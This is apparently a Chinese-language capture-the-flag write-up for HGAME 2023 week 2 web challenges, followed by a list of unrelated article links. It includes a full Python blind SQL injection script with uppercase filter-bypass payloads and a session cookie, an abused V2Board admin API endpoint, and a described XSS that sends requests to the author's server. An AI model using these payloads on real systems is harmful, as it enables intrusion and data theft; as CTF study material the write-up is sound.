Git Leakage

Githack一波带走,下载得到flag

v2board

搜索得知V2Board存在越权漏洞,随便注册个账号拿到authorization

访问/api/v1/admin/user/fetch?pageSize=10&current=1

拿到token值,hgame{39d580e71705f6abac9a414def74c466}

Search Commodity
弱口令爆破得到密码admin123,登录进去是一个搜索框,很明显是sql注入,bp构造一个
search_id=1$select$*2,fuzz一下,发现好多都被过滤为空,这里给出部分

这里发现大写能够绕过过滤,我们写一个盲注脚本

import requests
import string
strs = string.printable
headers = {
'Cookie': 'SESSION=MTY3MzY2MDExM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18adCvaHER65QoUwkQqK1elOtFjUAT9stHSgpZfPrUWik='
}
flag = ''
def attack(url):
global flag
for i in range(1, 100):
for j in strs:
if j == '%':
continue
tmp = ord(j)
payload = 'DATABASE()'
payload1 = 'SELECT(GROUP_CONCAT(TABLE_NAME))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA)like(DATABASE())'
payload2 = "SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME)like('5ecret15here')"
payload3 = 'SELECT(f14gggg1shere)FROM(5ecret15here)'
data = {
'search_id': f"0||((ascii(substr(({payload3}),{i},1)))like({tmp}))"
}
r = requests.post(url, data=data, headers=headers)
if 'hard disk' in r.text:
flag += j
print(flag)
break
if flag.endswith('}'):
break
if __name__ == '__main__':
url = 'http://week-2.hgame.lwsec.cn:32034/search'
attack(url)
最后flag为:hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
Designer
附件下载下来是一套js源码,看index.js,/user/register伪造ip无果,应该是xss

我们写一个xhr请求,让本地来访问就能成功伪造ip,得到true flag

利用在线xss_platform,把代码丢里头,Box shadow里填入xss攻击payload,注意这里要闭合下标签,
这里有个坑,得先preview一下再share,才能触发本地访问,不知道是不是就我一个人有这个问题

最后我们在vps的web日志里找到请求信息,本想直接输出来着,但没成功

jwt解密得到flag

HGAME2023_WP_WEEK2的更多相关文章

随机推荐

  1. 如何使用zx编写shell脚本

    前言 在这篇文章中,我们将学习谷歌的zx库提供了什么,以及我们如何使用它来用Node.js编写shell脚本.然后,我们将学习如何通过构建一个命令行工具来使用zx的功能,帮助我们为新的Node.js项 ...

  2. JDK17都出了,学点JDK11新特性

    JDK8 - 转- JDK11 -转- JDK17 JShell(JDK9开始支持) G:\dowload\JDK\JDK11\jdk-11.0.2\bin ===> C:\Windows\Sy ...

  3. 微信小程序实战,基于vue2实现瀑布流

    1.什么是瀑布流呢? 瀑布流,又称瀑布流式布局.是比较流行的一种网站页面布局,视觉表现为参差不齐的多栏布局,随着页面滚动条向下滚动,这种布局还会不断加载数据块并附加至当前尾部. 瀑布流对于图片的展现, ...

  4. PHP-表单传值

    一.传值引入 了解传值必须要先知道为什么需要传值? 传值的主要作用是为了实现用户数据的定制化,用户与服务端的互交 二.传值的方式 虽然 http协议中有很多数据传输的方式,但在PHP中只有 POST ...

  5. 解读JVM级别本地缓存Caffeine青出于蓝的要诀2 —— 弄清楚Caffeine的同步、异步回源方式

    大家好,又见面了. 本文是笔者作为掘金技术社区签约作者的身份输出的缓存专栏系列内容,将会通过系列专题,讲清楚缓存的方方面面.如果感兴趣,欢迎关注以获取后续更新. 上一篇文章中,我们继Guava Cac ...

  6. <一>C++ STL

    STL (standard template libaray - 标准模板库):是 C++ 标准库的重要组成部分,不仅是一个可复用的组件库,而且是一个包罗数据结构与算法的软件框架. 通俗来说:STL就 ...

  7. 如何在SpringBoot中优雅地重试调用第三方API?

    前言 作为后端程序员,我们的日常工作就是调用一些第三方服务,将数据存入数据库,返回信息给前端.但你不能保证所有的事情一直都很顺利.像有些第三方API,偶尔会出现超时.此时,我们要重试几次,这取决于你的 ...

  8. 分享自己亲测过的Visualstudio 2019中开发Typescript时,设置自动编译生成js,无需手工运行命令生成的方法。

    步骤1)右键web项目,添加 tsconfig.json文件. 步骤2)确保配置如下,编译版本可自行设置,这里主要关注编译目标目录和自动编译设置: { "compileOnSave" ...

  9. [机器学习] Yellowbrick使用笔记7-聚类可视化

    聚类模型是试图检测未标记数据中模式的无监督方法.聚类算法主要有两类:聚集聚类将相似的数据点连接在一起,而质心聚类则试图在数据中找到中心或分区.Yellowbrick提供yellowbrick.clus ...

  10. C语言指针常见问题

    我们在学C语言时,指针是我们最头疼的问题之一,针对C语言指针,博主根据自己的实际学到的知识以及开发经验,总结了以下使用C语言指针时常见问题. 指针 指针做函数参数 学习函数的时候,讲了函数的参数都是值 ...